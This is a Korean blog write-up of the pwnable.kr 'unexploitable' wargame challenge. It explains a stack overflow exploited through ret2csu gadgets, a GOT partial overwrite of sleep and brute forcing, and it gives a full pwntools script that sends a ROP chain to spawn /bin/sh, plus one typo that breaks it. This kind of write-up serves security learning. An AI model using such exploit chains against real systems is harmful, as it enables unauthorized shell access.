Recent Posts
Recent Comments
Link
«   2025/02   »
1
2 3 4 5 6 7 8
9 10 11 12 13 14 15
16 17 18 19 20 21 22
23 24 25 26 27 28
Tags
more
Archives
Today
Total
관리 메뉴

CIDY

[Pwnable.kr] 문제풀이(unexploitable) 본문

Hack/Pwnable

[Pwnable.kr] 문제풀이(unexploitable)

CIDY 2022. 8. 15. 02:36
// 64-bit, partial relro, nx
#include <stdio.h>
void main(){
        // no brute forcing
        sleep(3);
        // exploit me
        int buf[4];
        read(0, buf, 1295);
}

 

간단한 코드이다. 일단 partial relro니까 got overwrite는 충분히 가능하고, 오버플로우도 넉넉히 일어난다.

위와 같이 립시 함수들끼리는 차이가 얼마 안 나니까 하위 2바이트 오버라이트 후 한자리 브포를 해볼 수 있을 것 같다.

3초 * 16자리 -> 48초정도는 기다릴 수 있다. (물론 운나쁘면 그것보다 훨씬 길어질수도 있지만..)

 

그럼 어떻게 인자 세팅을 해주냐는건데, ROPgadget으로 가젯을 찾아봤는데 쓸 만한 게 없었다. -> csu를 하든 sigreturn을 하든 가젯 세팅을 할 수 있는 다른 방법을 써야 할 것 같다.

 

objdump -M intel -d ./unexploitable 로 코드를 까볼 수 있다.

 

여기 jne로 점프하는 곳이 평소에 쓰던 csu1이다.

 

그리고 여기가 csu2이다.

 

(sudo scp -P 2222 unexploitable@pwnable.kr:./unexploitable /mnt/c/Users/eunry/OneDrive/'바탕 화면'

로 그냥 바이너리를 받아왔다.)

 

from pwn import *

while True:
    s = ssh (user='unexploitable', host='pwnable.kr', port=2222, password='guest')
    p = s.process ("./unexploitable")

    csu1 = 0x4005d0
    csu2 = 0x4005e6
    bss = 0x601028 + 0x600

    got_read = 0x601000
    got_sleep = 0x601010

    pay = b"A" * 0x10
    pay += b"B" * 0x8
    pay += p64(csu2)

    pay += b"C" * 0x8
    pay += p64(0)
    pay += p64(1)
    pay += p64(got_read)
    pay += p64(0)
    pay += p64(bss)
    pay += p64(8)
    pay += p64(csu1)

    pay += b"C" * 0x8
    pay += p64(0)
    pay += p64(1)
    pay += p64(got_read)
    pay += p64(0)
    pay += p64(got_sleep)
    pay += p64(2)
    pay += p64(csu1)

    pay += b"C" * 0x8   
    pay += p64(0)
    pay += p64(1)
    pay += p64(got_sleep)
    pay += p64(bss)
    pay += p64(0)
    pay += p64(0)
    pay += p64(csu1)

    p.send(pay)
    sleep(5)
    p.send(b"/bin/sh\x00")
    sleep(1)
    p.send(b"\xf0\xe7")
    
    try:
        p.sendline(b"id")
        if b"uid" in p.recvline():
            p.interacitve()
            
        else:
            p.close()
    except:
        p.close()

 

그렇게 나온 최종 코드... 이유는 잘 모르겠는데 sleep이 없으면 브포가 안 된다.

 

그리고 하나 더 생각해본 풀이가, syscall가젯으로 execve를 호출하는건데, rax는 rtc에서 설정할 수 없지만, 해당 레지스터가 함수의 반환값을 저장하는 용도로 쓰인다는 점을 이용하면 가능하다.

 

execve의 호출번호는 0x3b니까 syscall로 덮은 sleep을 호출하기 전에 read를 이용해 아무 곳에나 0x3b바이트를 적어주는 과정을 거치면 될 것 같다. 

 

 

분명 확률은 꽤 높은편인데 시간이 좀 걸렸다. 플래그를 보니 sigreturn을 이용한 풀이도 가능했나보다.

'Hack > Pwnable' 카테고리의 다른 글

[Pwnable.tw] BabyStack 문제풀이  (1) 2022.12.24
[Pwnable.tw] 문제풀이(CAOV)  (0) 2022.10.13
[Pwnable.kr] 문제풀이(collision)  (0) 2022.08.12
[Pwnable.kr] 문제풀이(fd)  (0) 2022.08.11
[Pwnable.kr] 문제풀이(bof)  (0) 2022.08.11